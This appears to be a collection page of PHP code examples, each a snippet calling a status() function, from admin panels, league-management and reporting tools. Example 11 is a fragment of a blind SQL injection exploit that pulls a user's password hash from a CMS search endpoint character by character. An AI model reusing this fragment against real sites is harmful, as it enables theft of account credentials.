Esempio n. 1
0
function popup()
{
    $sock = new sockets();
    $EnableMysqlClusterManager = $sock->GET_INFO('EnableMysqlClusterManager');
    $EnableMysqlClusterReplicat = $sock->GET_INFO('EnableMysqlClusterReplicat');
    $status = status();
    $users = new usersMenus();
    if (!$users->MYSQL_NDB_MGMD_INSTALLED) {
        $text = Paragraphe("danger64.png", '{NBD_MGMD_NOT_INSTALLED}', '{NBD_MGMD_NOT_INSTALLED_TEXT}');
    } else {
        $manager = Paragraphe('server-master-check.png', '{MYSQL_CLUSTER_MANAGER}', '{MYSQL_CLUSTER_MANAGER_TEXT}', "javascript:ManagerCluster();");
        $replicat = Paragraphe('server-setup-64.png', '{MYSQL_CLUSTER_REPLICAT}', '{MYSQL_CLUSTER_REPLICAT_TEXT}', "javascript:ReplicatCluster();");
        if ($EnableMysqlClusterManager == 1 && $EnableMysqlClusterReplicat == 1) {
            $sock->SET_INFO("EnableMysqlClusterReplicat", 0);
            $EnableMysqlClusterReplicat = 0;
        }
        if ($EnableMysqlClusterManager == 1) {
            $replicat = null;
        }
        if ($EnableMysqlClusterReplicat == 1) {
            $manager = null;
        }
        $text = "{$manager}<br>{$replicat}";
    }
    $html = "\n<H1>{MYSQL_CLUSTER}</H1>\n<p class=caption>{MYSQL_CLUSTER_TEXT}</p>\n<table style=width:100%' class=table_form>\n<tr>\n\t<td valign='top' width=1%><img src='img/mysqlcluster-256.png'></td>\n\t<td valign='top' style='padding-left:10px'>" . RoundedLightWhite("<div style='width:100%'>{$text}</div>") . "</td>\n\t<td valign='top'><div id='mysql-cluster-status'>{$status}</div></td>\n</tr>\n</table>\n\n\n\n";
    $tpl = new templates();
    echo $tpl->_ENGINE_parse_body($html);
}
Esempio n. 2
0
function my_php_errors($errno, $errstr, $errfile, $errline)
{
    $errmsg = "error occured({$errno}): {$errstr} in=>{$errfile}:{$errline}";
    logit("php error:" . $errmsg);
    status(422);
    return json_encode(array("exception" => "LanguageError", "error" => $errmsg));
}
Esempio n. 3
0
function hydrate_model($file)
{
    if (is_file($file) && strpos($file, '.php')) {
        preg_match_all('/class\\s(\\S+)\\s/', read($file), $match);
        require $file;
        foreach ($match[1] as $klass) {
            $re = new \ReflectionClass($klass);
            switch ($re->getParentClass()->getName()) {
                case 'Servant\\Mapper\\Database':
                    status('hydrate', $file);
                    $dsn = option('database.' . $klass::CONNECTION);
                    $db = \Grocery\Base::connect($dsn);
                    $columns = $klass::columns();
                    $indexes = $klass::indexes();
                    if (!isset($db[$klass::table()])) {
                        $db[$klass::table()] = $columns;
                    }
                    \Grocery\Helpers::hydrate($db[$klass::table()], $columns, $indexes);
                    break;
                case 'Servant\\Mapper\\MongoDB':
                    status('hydrate', $file);
                    $dsn_string = \Servant\Config::get($klass::CONNECTION);
                    $database = substr($dsn_string, strrpos($dsn_string, '/') + 1);
                    $mongo = $dsn_string ? new \Mongo($dsn_string) : new \Mongo();
                    $db = $mongo->{$database ?: 'default'};
                    \Servant\Helpers::reindex($db->{$klass::table()}, $klass::indexes());
                    break;
                default:
                    break;
            }
        }
    }
}
Esempio n. 4
0
 public static function main($argv)
 {
     global $coach;
     list($tid) = $argv;
     if ($tid) {
         if (!get_alt_col('teams', 'team_id', $tid, 'name')) {
             fatal('Invalid team');
         }
         $team = new Team($tid);
         $ALLOW_EDIT = is_object($coach) && ($team->owned_by_coach_id == $coach->coach_id || $coach->mayManageObj(T_OBJ_TEAM, $tid)) && !$team->is_retired;
         # Show team action boxes?
     } else {
         $team = null;
         $ALLOW_EDIT = false;
     }
     if ($ALLOW_EDIT && isset($_POST['action']) && isset($_POST['pid'])) {
         $pid = (int) $_POST['pid'];
         switch ($_POST['action']) {
             case 'delete':
                 status(self::delete((int) $pid));
                 break;
             case 'new':
             case 'edit':
                 status(self::edit((int) $pid, $_POST['title'], $_POST['about']));
                 break;
         }
     }
     self::printList($team, $ALLOW_EDIT);
     return true;
 }
Esempio n. 5
0
function binary($data, $status_code = 200)
{
    status($status_code);
    header('Content-Transfer-Encoding: binary');
    header('Content-Type: application/octet-stream');
    echo $data;
    exit;
}
Esempio n. 6
0
function status_dropdown()
{
    $data[''] = '-Status-';
    $status = status();
    foreach ($status as $r => $val) {
        $data[$r] = $val;
    }
    return $data;
}
Esempio n. 7
0
/**
 * @param bool   $result result of assertion
 * @param string $why    description of assertion
 * @param mixed  $value  optional value (displays on failure)
 */
function ok($result, $why = null, $value = null)
{
    if ($result === true) {
        echo "- PASS: "******"\n";
    } else {
        echo "# FAIL: " . ($why === null ? 'ERROR' : $why) . ($value === null ? '' : ' - ' . format($value, true)) . "\n";
        status(false);
    }
}
Esempio n. 8
0
 /**
  * 状态设置
  * @author MaWei (http://www.phpyrb.com)
  * @date 2014-8-9  下午3:00:22
  */
 function status()
 {
     $status = intval($_REQUEST['status']) == '1' ? 0 : 1;
     $reid = status('Sourc', $_REQUEST['ids'], $status);
     if ($reid === false) {
         $msg['status'] = null;
         $msg['msg'] = $status ? '显示设置失败!' : '隐藏设置失败!';
     } else {
         $msg['status'] = 1;
         $msg['msg'] = $status ? '已显示' : '已隐藏';
     }
     echo json_encode($msg);
     exit;
 }
Esempio n. 9
0
 /**
  * 状态设置
  * @author MaWei (http://www.phpyrb.com)
  * @date 2014-8-9  下午3:00:22
  */
 function status()
 {
     $id = intval($_REQUEST['id']);
     $status = intval($_REQUEST['status']) == '1' ? 0 : 1;
     $reid = status('Book', $id, $status);
     if ($reid === false) {
         $msg['status'] = null;
         $msg['msg'] = $status ? '显示失败!' : '隐藏失败!';
     } else {
         $msg['status'] = 1;
         $msg['msg'] = $status ? '显示' : '隐藏';
     }
     echo json_encode($msg);
     exit;
 }
Esempio n. 10
0
function track($values)
{
    global $logFile;
    $info = array();
    array_walk($values, function ($value, $key, $info) {
        $info[] = "{$key}={$value}";
    }, &$info);
    $info = join('&', $info);
    $time = date(DATE_ATOM);
    $line = "[{$time}] {$info}\n";
    $failed = FALSE;
    $failed |= FALSE === ($fp = fopen($logFile, 'a'));
    $failed |= FALSE === fwrite($fp, $line);
    $failed |= FALSE === fclose($fp);
    if ($failed) {
        status(500);
    }
}
Esempio n. 11
0
function getchar($query, $pos, $status = true)
{
    global $host, $path, $prefix, $id;
    if ($status) {
        status();
    }
    $data = "sq=InATeam&frm_sub%5B%5D=9999&sea_frmtitle=1&sea_frmtext=1&sea_pagtitle=1";
    $data .= "&sea_pagdesc=1&sea_pagtext=1&searchin_pag=1&pag_sub%5B%5D=qwerty')";
    $data .= "+AND+1=IF(ORD(MID((SELECT+user_password+FROM+{$prefix}users+WHERE";
    $data .= "+user_id={$id}),{$pos},1)){$query},1,(SELECT+1+UNION+SELECT+5))/*&x=GUEST";
    $packet = "POST {$path}plug.php?e=search&a=search HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Referer: http://{$host}{$path}plug.php?e=search&a=search\r\n";
    $packet .= "User-Agent: InAttack User Agent\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Content-Length: " . strlen($data) . "\r\n";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data;
    return strpos(send($packet), 'Subquery returns more than 1 row') === false ? true : false;
}
Esempio n. 12
0
 public function refresh()
 {
     $list = M('order')->order('time desc')->limit(25)->select();
     $html = '';
     foreach ($list as $k => $v) {
         $html .= $v['emerg'] == 1 ? '<tr class="am-active">' : '<tr>';
         $html .= '<td>' . $v['order'] . '</td>';
         //工单号
         $building = $v['emerg'] == 1 ? $v['description'] : (empty($v['building']) ? '-' : building($v['area'], $v['building']));
         $html .= '<td class="am-show-md-up">' . $building . '</td>';
         //报修楼栋
         $html .= '<td class="am-show-md-up">' . $v['location'] . '</td>';
         //报修寝室
         $html .= '<td class="am-show-md-up">' . date("Y年m月d日", $v['time']) . '</td>';
         //报修时间
         $html .= '<td>' . status($v['status']) . '</td>';
         //维修状态
         $html .= '<td><a href="' . U('Report/detail', array('order' => $v['order'])) . '">详细&raquo;</a></td>';
         $html .= '</tr>';
     }
     echo $html;
 }
Esempio n. 13
0
function writeTableShort($git_hash)
{
    ?>
		<table class="table1">
			<tbody>
			<?php 
    $query = "SELECT run_id, A.branch AS 'branch', A.base_sdk_filename AS 'file' ,A.git_hash AS 'git_hash', A.timestamp AS 'timestamp',\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android1', passed_tests, 0)) AS 'a2.3.6P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android1', failed_tests, 0)) AS 'a2.3.6F' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android2', passed_tests, 0)) AS 'a4.2.1P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android2', failed_tests, 0)) AS 'a4.2.1F' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android3', passed_tests, 0)) AS 'a3.1P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'android3', failed_tests, 0)) AS 'a3.1F' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios1', passed_tests, 0)) AS 'i5.0P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios1', failed_tests, 0)) AS 'i5.0F' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios2', passed_tests, 0)) AS 'i5.1P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios2', failed_tests, 0)) AS 'i5.1F' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios4', passed_tests, 0)) AS 'i6.0P' ,\n\t\t\t\t\t\t\t\t\t\tSUM(if(driver_id = 'ios4', failed_tests, 0)) AS 'i6.0F'\n\t\t\t\t\t\t\t\t\t\tFROM driver_runs\n\t\t\t\t\t\t\t\t\t\tLEFT JOIN (SELECT * FROM runs) AS A ON driver_runs.run_id = A.id\n\t\t\t\t\t\t\t\t\t\tWHERE driver_runs.run_id = A.id AND A.git_hash = '" . $git_hash . "';";
    $result = mysql_query($query);
    while ($row = mysql_fetch_array($result)) {
        $queryUrl = "http://anvil.appcelerator.com/results.php?branch=" . $row[branch] . "&git_hash=" . $row[git_hash] . "&run_id=" . $row[run_id];
        echo '<tr><td class="' . status($row["i5.0P"], $row["i5.0F"]) . '"><a href="' . $queryUrl . '&driver_id=ios1" target="_blank">iOS 6.0</a></td>';
        echo '<td class="' . status($row["i5.1P"], $row["i5.1F"]) . '"><a href="' . $queryUrl . '&driver_id=ios2" target="_blank">iOS 6.1</a></td>';
        echo '<td class="' . status($row["i6.0P"], $row["i6.0F"]) . '"><a href="' . $queryUrl . '&driver_id=ios3" target="_blank">iOS 7.0.3</a></td>';
        echo '<td class="' . status($row["a2.3.6P"], $row["a2.3.6F"]) . '"><a href="' . $queryUrl . '&driver_id=android1" target="_blank">Android 2.3.6</a></td>';
        echo '<td class="' . status($row["a3.1P"], $row["a3.1F"]) . '"><a href="' . $queryUrl . '&driver_id=android3" target="_blank">Android 3.1</a></td>';
        echo '<td class="' . status($row["a4.2.1P"], $row["a4.2.1F"]) . '"><a href="' . $queryUrl . '&driver_id=android2" target="_blank">Android 4.2</a></td>';
        echo '</tr>';
    }
    ?>
			</tbody>
		</table>
<?php 
}
Esempio n. 14
0
echo status("SENSITIVITY");
?>
</td>
		</tr>
		<tr>
			<th>finished</th>
			<td><?php 
echo startTime("FINISHED");
?>
</td>
			<td><?php 
echo endTime("FINISHED");
?>
</td>
			<td><?php 
echo status("FINISHED");
?>
</td>
		</tr>
	</table>
	</div>
	<div id="footer">
		The <a href="http://pecanproject.org">PEcAn project</a> is supported by the National Science Foundation
		(ABI #1062547, ARC #1023477) and the <a href="http://www.energybiosciencesinstitute.org/">Energy
		Biosciences Institute</a>.
	</div>
</div>
</body>
</html>

<?php 
Esempio n. 15
0
                }
                status(true, "Changed {$changed} local access levels");
            }
            break;
        case 'ch_passwd':
            $errors = array('Please use a password of at least 5 characters.' => strlen($_POST['passwd']) < 5);
            foreach ($errors as $msg => $halt) {
                if ($halt) {
                    status(false, $msg);
                    break 2;
                }
            }
            status($c->setPasswd($_POST['passwd']));
            break;
        case 'disp_access_levels':
            status(true);
            # Display the access levels in box below.
            $_SHOW_ACCESS_LEVELS = true;
            break;
    }
    // Reload manage state.
    $coach = new Coach($coach->coach_id);
    # Re-load in case of we changed our OWN (logged on coach) settings.
}
title($lng->getTrn('menu/admin_menu/usr_man'));
$T_GLOBAL_RINGS = array(Coach::T_RING_GLOBAL_ADMIN => 'Global commisoner (site admin)', Coach::T_RING_GLOBAL_NONE => 'No global rights (regular coach)');
$T_LOCAL_RINGS = array(Coach::T_RING_LOCAL_ADMIN => 'Local commisioner', Coach::T_RING_LOCAL_REGULAR => 'Regular coach');
?>
<script>
    $(document).ready(function(){
        var options, a1,a2,a3,a4;
Esempio n. 16
0
function execute()
{
    $nice = EXEC_NICE();
    if (is_file(dirname(__FILE__) . "/exec.sarg.gilou.php")) {
        events("Executing exec.sarg.gilou.php instead...");
        shell_exec($nice . LOCATE_PHP5_BIN2() . " " . dirname(__FILE__) . "/exec.sarg.gilou.php --exec");
        return;
    }
    $sock = new sockets();
    $SargOutputDir = $sock->GET_INFO("SargOutputDir");
    if ($SargOutputDir == null) {
        $SargOutputDir = "/var/www/html/squid-reports";
    }
    $nice = EXEC_NICE();
    $unix = new unix();
    $today = date("d/m/Y");
    $sarg_bin = $unix->find_program("sarg");
    if (!is_file($sarg_bin)) {
        sarg_admin_events("Fatal, unable to locate sarg binary, aborting...", __FUNCTION__, __FILE__, __LINE__, "sarg");
        return;
    }
    events("Building settings..");
    buildconf();
    $usersauth = false;
    $squid = new squidbee();
    if ($squid->LDAP_AUTH == 1) {
        $usersauth = true;
    }
    if ($squid->LDAP_EXTERNAL_AUTH == 1) {
        $usersauth = true;
    }
    if (!is_file("/etc/squid/exclude_codes")) {
        @file_put_contents("/etc/squid/exclude_codes", "\nNONE/400\n");
    }
    @mkdir("{$SargOutputDir}", 0755, true);
    $u = " -i ";
    $cmd = "{$nice}{$sarg_bin} -d {$today}-{$today} {$u}-f /etc/squid3/sarg.conf -l /var/log/squid/access.log -o \"{$SargOutputDir}\" -x -z 2>&1";
    $t1 = time();
    echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]}, {$cmd}\n";
    sargevents("execute(): {$cmd}");
    exec($cmd, $results);
    while (list($index, $line) = each($results)) {
        if (preg_match("#SARG: No records found#", $line)) {
            events("No records found");
            $subject_add = "(No records found)";
        }
        if (preg_match("#SARG:\\s+.+?mixed records format#", $line)) {
            send_email_events("SARG: Error, squid was reloaded", "It seems that there is a mixed log file format detected in squid\n\t\t\tThis reason is Artica change squid log format from orginial to http access mode.\n\t\t\tIn this case, the log will be moved and squid will be reloaded \n\t\t\tin order to build a full log file with only one log format.\n\t\t\t\n" . @implode("\n", $results), "proxy");
            shell_exec(LOCATE_PHP5_BIN2() . " " . dirname(__FILE__) . "/exec.squid.php --reconfigure");
            shell_exec($unix->LOCATE_SQUID_BIN() . " -k rotate");
            shell_exec("/etc/init.d/auth-tail restart >/dev/null 2>&1");
            shell_exec("/etc/init.d/cache-tail restart >/dev/null 2>&1");
            return;
        }
        if (preg_match("#SARG:\\s+.+?enregistrements de plusieurs formats#", $line)) {
            send_email_events("SARG: Error, squid was reloaded", "It seems that there is a mixed log file format detected in squid\n\t\t\tThis reason is Artica change squid log format from orginial to http access mode.\n\t\t\tIn this case, the log will be moved and squid will be reloaded \n\t\t\tin order to build a full log file with only one log format.\n\t\t\t\n" . @implode("\n", $results), "proxy");
            shell_exec(LOCATE_PHP5_BIN2() . " " . dirname(__FILE__) . "/exec.squid.php --reconfigure");
            shell_exec($unix->LOCATE_SQUID_BIN() . " -k rotate");
            shell_exec("/etc/init.d/auth-tail restart >/dev/null 2>&1");
            shell_exec("/etc/init.d/cache-tail restart >/dev/null 2>&1");
            return;
        }
        if (preg_match("#SARG.+?Unknown input log file format#", $line)) {
            send_email_events("SARG: \"Unknown input log file format\", squid was reloaded", "It seems that there is a input log file format log file format detected in squid\n\t\t\tThis reason is Artica change squid log format from orginial to log_fqn on, this will be disabled\n\t\t\tIn this case, the log will be moved and squid will be reloaded \n\t\t\tin order to build a full log file with only one log format.\n\t\t\t\n" . @implode("\n", $results), "proxy");
            shell_exec(LOCATE_PHP5_BIN2() . " " . dirname(__FILE__) . "/exec.squid.php --reconfigure");
            shell_exec($unix->LOCATE_SQUID_BIN() . " -k rotate");
            shell_exec("/etc/init.d/auth-tail restart >/dev/null 2>&1");
            shell_exec("/etc/init.d/cache-tail restart >/dev/null 2>&1");
            return;
        }
    }
    $NICE = EXEC_NICE();
    $unix = new unix();
    $lighttpd_user = $unix->APACHE_SRC_ACCOUNT();
    $php = $unix->LOCATE_PHP5_BIN();
    $nohup = $unix->find_program("nohup");
    echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]}, lighttpd user: {$lighttpd_user}\n";
    $chown = $unix->find_program("chown");
    echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]},{$chown} -R {$lighttpd_user}:{$lighttpd_user} {$SargOutputDir}/*\n";
    exec("{$chown} -R {$lighttpd_user}:{$lighttpd_user} {$SargOutputDir}/* >/dev/null 2>&1", $results2);
    echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]},\n" . @implode("\n" . $results2) . "\n";
    shell_exec("{$nohup} {$php} " . __FILE__ . " --backup >/dev/null 2>&1 &");
    $t2 = time();
    $distanceOfTimeInWords = distanceOfTimeInWords($t1, $t2);
    echo "Starting......: " . date("H:i:s") . " [INIT]: {$GLOBALS["TITLENAME"]}, {$distanceOfTimeInWords}\n";
    events("Statistics generated ({$distanceOfTimeInWords})");
    if ($GLOBALS["VERBOSE"]) {
        echo "SARG: Statistics generated ({$distanceOfTimeInWords})\n\n";
        echo @implode("\n", $results) . "\n";
    }
    status(true);
    sarg_admin_events("SARG: Statistics generated ({$distanceOfTimeInWords}) {$subject_add}", "Command line:\n-----------\n{$cmd}\n" . @implode("\n", $results), __FUNCTION__, __FILE__, __LINE__, "sarg");
}
Esempio n. 17
0
/**
 * Checks if a Kirby response is an error response or not. 
 *
 * @param   array    $response The Kirby response array
 * @return  boolean  Returns true if the response is an error, returns false if no error occurred 
 * @package Kirby
 */
function error($response)
{
    return status($response) == 'error' ? true : false;
}
Esempio n. 18
0
    private function _CCprofile($ALLOW_EDIT)
    {
        global $lng, $coach, $leagues;
        // Was new password/email request made?
        if (isset($_POST['type']) && $ALLOW_EDIT) {
            if (get_magic_quotes_gpc()) {
                $_POST['new_passwd'] = isset($_POST['new_passwd']) ? stripslashes($_POST['new_passwd']) : '';
                $_POST['new_phone'] = isset($_POST['new_phone']) ? stripslashes($_POST['new_phone']) : '';
                $_POST['new_email'] = isset($_POST['new_email']) ? stripslashes($_POST['new_email']) : '';
                $_POST['new_name'] = isset($_POST['new_name']) ? stripslashes($_POST['new_name']) : '';
                $_POST['new_realname'] = isset($_POST['new_realname']) ? stripslashes($_POST['new_realname']) : '';
            }
            switch ($_POST['type']) {
                case 'chpasswd':
                    status(Coach::checkPasswd($this->coach_id, $_POST['old_passwd']) && $this->setPasswd($_POST['new_passwd']));
                    break;
                case 'chphone':
                    status($this->setPhone($_POST['new_phone']));
                    break;
                case 'chmail':
                    status($this->setMail($_POST['new_email']));
                    break;
                case 'chlogin':
                    status($this->setName($_POST['new_name']));
                    break;
                case 'chname':
                    status($this->setRealName($_POST['new_realname']));
                    break;
                case 'chlang':
                    status($this->setSetting('lang', $_POST['new_lang']));
                    break;
                case 'chhomelid':
                    status(isset($_POST['new_homelid']) && get_alt_col('leagues', 'lid', (int) $_POST['new_homelid'], 'lid') && $this->setSetting('home_lid', $_POST['new_homelid']));
                    break;
                case 'pic':
                    status($_POST['add_del'] == 'add' ? $this->savePic(false) : $this->deletePic());
                    break;
                case 'coachtext':
                    if (get_magic_quotes_gpc()) {
                        $_POST['coachtext'] = stripslashes($_POST['coachtext']);
                    }
                    status($this->saveText($_POST['coachtext']));
                    break;
            }
        }
        // New team and change coach settings.
        echo "<br><br>";
        ?>
    <table class="common"><tr class="commonhead"><td><b><?php 
        echo $lng->getTrn('cc/coach_info');
        ?>
</b></td></tr></table>
    <br>
    <?php 
        echo $lng->getTrn('cc/note_persinfo');
        echo "<br><br>";
        if (is_object($coach) && !$ALLOW_EDIT) {
            # Logged in but not viewing own coach page.
            ?>
        <table>
            <tr>
                <td>ID:</td>
                <td><?php 
            echo $this->coach_id;
            ?>
</td>
            </tr>
            <tr>
                <td>Name (login):</td>
                <td><?php 
            echo $this->name;
            ?>
</td>
            </tr>
            <tr>
                <td>Full name:</td>
                <td><?php 
            echo empty($this->realname) ? '<i>' . $lng->getTrn('common/none') . '</i>' : $this->realname;
            ?>
</td>
            </tr>
            <tr>
                <td>Phone:</td>
                <td><?php 
            echo empty($this->phone) ? '<i>' . $lng->getTrn('common/none') . '</i>' : $this->phone;
            ?>
</td>
            </tr>
            <tr>
                <td>Mail:</td>
                <td><?php 
            echo empty($this->mail) ? '<i>' . $lng->getTrn('common/none') . '</i>' : $this->mail;
            ?>
</td>
            </tr>
        </table>
        <br>
        <?php 
        }
        if ($ALLOW_EDIT) {
            ?>
        <table class="common" style="border-spacing:5px; padding:20px;">
            <tr><td colspan='4'>ID: <?php 
            echo $this->coach_id;
            ?>
</td></tr>
            <tr>
                <form method="POST">
                <td><?php 
            echo $lng->getTrn('cc/chpasswd');
            ?>
:</td>
                <td><?php 
            echo $lng->getTrn('cc/old');
            ?>
:<input type='password' name='old_passwd' size="20" maxlength="50"></td>
                <td><?php 
            echo $lng->getTrn('cc/new');
            ?>
:<input type='password' name='new_passwd' size="20" maxlength="50"></td>
                <td><input type="submit" name="button" value="<?php 
            echo $lng->getTrn('cc/chpasswd');
            ?>
"></td>
                <input type='hidden' name='type' value='chpasswd'>
                </form>
            </tr>
            <tr>
                <form method="POST">
                <td><?php 
            echo $lng->getTrn('cc/chphone');
            ?>
:</td>
                <td><?php 
            echo $lng->getTrn('cc/old');
            ?>
:<input type='text' name='old_phone' readonly value="<?php 
            echo $this->phone;
            ?>
" size="20" maxlength="129"></td>
                <td><?php 
            echo $lng->getTrn('cc/new');
            ?>
:<input type='text' name='new_phone' size="20" maxlength="25"></td>
                <td><input type="submit" name="button" value="<?php 
            echo $lng->getTrn('cc/chphone');
            ?>
"></td>
                <input type='hidden' name='type' value='chphone'>
                </form>
            </tr>
            <tr>
                <form method="POST">
                <td><?php 
            echo $lng->getTrn('cc/chmail');
            ?>
:</td>
                <td><?php 
            echo $lng->getTrn('cc/old');
            ?>
:<input type='text' name='old_email' readonly value="<?php 
            echo $this->mail;
            ?>
" size="20" maxlength="129"></td>
                <td><?php 
            echo $lng->getTrn('cc/new');
            ?>
:<input type='text' name='new_email' size="20" maxlength="129"></td>
                <td><input type="submit" name="button" value="<?php 
            echo $lng->getTrn('cc/chmail');
            ?>
"></td>
                <input type='hidden' name='type' value='chmail'>
                </form>
            </tr>
            <tr>
                <form method="POST">
                <td><?php 
            echo $lng->getTrn('cc/chlogin');
            ?>
:</td>
                <td><?php 
            echo $lng->getTrn('cc/old');
            ?>
:<input type='text' name='old_name' readonly value="<?php 
            echo $this->name;
            ?>
" size="20" maxlength="50"></td>
                <td><?php 
            echo $lng->getTrn('cc/new');
            ?>
:<input type='text' name='new_name' size="20" maxlength="50"></td>
                <td><input type="submit" name="button" value="<?php 
            echo $lng->getTrn('cc/chlogin');
            ?>
"></td>
                <input type='hidden' name='type' value='chlogin'>
                </form>
            </tr>
            <tr>
                <form method="POST">
                <td><?php 
            echo $lng->getTrn('cc/chname');
            ?>
:</td>
                <td><?php 
            echo $lng->getTrn('cc/old');
            ?>
:<input type='text' name='old_realname' readonly value="<?php 
            echo $this->realname;
            ?>
" size="20" maxlength="50"></td>
                <td><?php 
            echo $lng->getTrn('cc/new');
            ?>
:<input type='text' name='new_realname' size="20" maxlength="50"></td>
                <td><input type="submit" name="button" value="<?php 
            echo $lng->getTrn('cc/chname');
            ?>
"></td>
                <input type='hidden' name='type' value='chname'>
                </form>
            </tr>
            <tr>
                <form method="POST">
                <td><?php 
            echo $lng->getTrn('cc/chlang');
            ?>
:</td>
                <td><?php 
            echo $lng->getTrn('cc/current');
            ?>
: <?php 
            echo $this->settings['lang'];
            ?>
</td>
                <td>
                    <?php 
            echo $lng->getTrn('cc/new');
            ?>
:
                    <select name='new_lang'>
                        <?php 
            foreach (Translations::$registeredLanguages as $lang) {
                echo "<option value='{$lang}'>{$lang}</option>\n";
            }
            ?>
                    </select>
                </td>
                <td><input type="submit" name="button" value="<?php 
            echo $lng->getTrn('cc/chlang');
            ?>
"></td>
                <input type='hidden' name='type' value='chlang'>
                </form>
            </tr>
            <tr>
                <form method="POST">
                <td><?php 
            echo $lng->getTrn('cc/chhomelid');
            ?>
:</td>
                <td><?php 
            echo $lng->getTrn('cc/current');
            ?>
: <?php 
            echo isset($leagues[$this->settings['home_lid']]) ? $leagues[$this->settings['home_lid']]['lname'] : '<i>' . $lng->getTrn('common/none') . '</i>';
            ?>
</td>
                <td>
                    <?php 
            echo $lng->getTrn('cc/new');
            ?>
:
                    <select name='new_homelid'>
                        <?php 
            foreach ($leagues as $lid => $desc) {
                echo "<option value='{$lid}'>{$desc['lname']}</option>\n";
            }
            ?>
                    </select>
                </td>
                <td><input type="submit" name="button" value="<?php 
            echo $lng->getTrn('cc/chhomelid');
            ?>
" <?php 
            echo count($leagues) == 0 ? 'DISABLED' : '';
            ?>
></td>
                <input type='hidden' name='type' value='chhomelid'>
                </form>
            </tr>
        </table>
        <?php 
        }
        ?>

    <table class='common'>
        <tr class='commonhead'>
            <td><b><?php 
        echo $lng->getTrn('cc/photo');
        ?>
</b></td>
            <td><b><?php 
        echo $lng->getTrn('common/about');
        ?>
</b></td>
        </tr>
        <tr>
            <td>
                <?php 
        ImageSubSys::makeBox(IMGTYPE_COACH, $this->coach_id, $ALLOW_EDIT, false);
        ?>
            </td>
            <td valign='top'>
                <?php 
        $txt = $this->getText();
        if (empty($txt)) {
            $txt = $lng->getTrn('common/nobody');
        }
        if ($ALLOW_EDIT) {
            ?>
                    <form method='POST'>
                        <textarea name='coachtext' rows='15' cols='70'><?php 
            echo $txt;
            ?>
</textarea>
                        <br><br>
                        <input type="hidden" name="type" value="coachtext">
                        <input type="submit" name='Save' value="<?php 
            echo $lng->getTrn('common/save');
            ?>
">
                    </form>
                    <?php 
        } else {
            echo '<p>' . fmtprint($txt) . "</p>\n";
        }
        ?>
            </td>
        </tr>
    </table>
    <?php 
    }
Esempio n. 19
0
            <p><a class="modal-close">閉じる</a></p>
          </div>  
        </div>
      </div>
    </div>
  </div>
  <!-- 承認された投稿のとき承認内容を表示 -->
  <?php 
    if (isset($post['candidate_id'])) {
        ?>
    <?php 
        include 'submit_show.php';
        ?>
  <?php 
    }
} elseif (status() == 2) {
    ?>
  <?php 
    if (isset($post['candidate_id'])) {
        ?>
    <?php 
        include 'submit_show.php';
        ?>
  <?php 
    } else {
        ?>
    <?php 
        include 'submit_form.php';
        ?>
  <?php 
    }
Esempio n. 20
0
include_once 'ressources/class.ldap.inc';
include_once 'ressources/class.users.menus.inc';
include_once 'ressources/class.system.network.inc';
$usersmenus = new usersMenus();
if (!$usersmenus->AsAnAdministratorGeneric) {
    $tpl = new templates();
    $alert = $tpl->_ENGINE_parse_body('{ERROR_NO_PRIVS}');
    echo "alert('{$alert}');";
    die;
}
if (isset($_GET["popup"])) {
    popup();
    exit;
}
if (isset($_GET["status"])) {
    status();
    exit;
}
if (isset($_GET["status-service"])) {
    status_service();
    exit;
}
if (isset($_GET["conf"])) {
    popup_settings();
    exit;
}
if (isset($_GET["EnableSabnZbdPlus"])) {
    save();
    exit;
}
js();
Esempio n. 21
0
/**
 * Default error handler
 *
 * @param string $errno
 * @param string $errstr
 * @param string $errfile
 * @param string $errline
 * @return string error output
 */
function error_default_handler($errno, $errstr, $errfile, $errline)
{
    $is_http_err = http_response_status_is_valid($errno);
    $http_error_code = $is_http_err ? $errno : SERVER_ERROR;
    status($http_error_code);
    return $http_error_code == NOT_FOUND ? error_not_found_output($errno, $errstr, $errfile, $errline) : error_server_error_output($errno, $errstr, $errfile, $errline);
}
Esempio n. 22
0
print_r($_POST);
print "</pre>";
*/
$user = new User($_POST["endereco2"], $_POST["cidade2"], $_POST["uf2"], $_POST["cep2"], $_POST["telres2"], $_POST["celular2"], $_POST["email2"], $_POST["ec"], $_POST["cref"], $_POST["gi"], $_POST["funcao"], $_POST["categoria"]);
function status()
{
    $months = date("n") + 4;
    if (date("n") == 12) {
        $months = 4;
    }
    $data = date("j / {$months} / Y");
    $status = "valido";
    $dados = array($data, $status);
    return $dados;
}
$dados = status();
$pessoa = new Pessoa($_POST["nome"], $_POST["filiacao"], $_POST["nascionalidade"], $_POST["naturalidade"], $_POST["nascimento"], $_POST["sexo"], $_POST["cpf"], $_POST["rg"], $_POST["orgaoemissor"], $_POST["expedicao"], $dados[0], $dados[1]);
$instituicao = new Instituicao($_POST["fi"], $_POST["uf3"], $_POST["carreira"], $_POST["ac"], $_POST["localtrabalho"], $_POST["endereco"], $_POST["cidade"], $_POST["cep"], $_POST["telres"], $_POST["celular"], $_POST["email"]);
$login = new Login($_POST["login"], $_POST["senha"]);
$daoPessoa = new DaoPessoa($pessoa, $conecta);
$daoUser = new DaoUser($user, $conecta);
$daoInstituicao = new DaoInstituicao($instituicao, $conecta);
$daoLogin = new DaoLogin($login, $conecta);
if ($daoPessoa->inserir()) {
    print "ok";
}
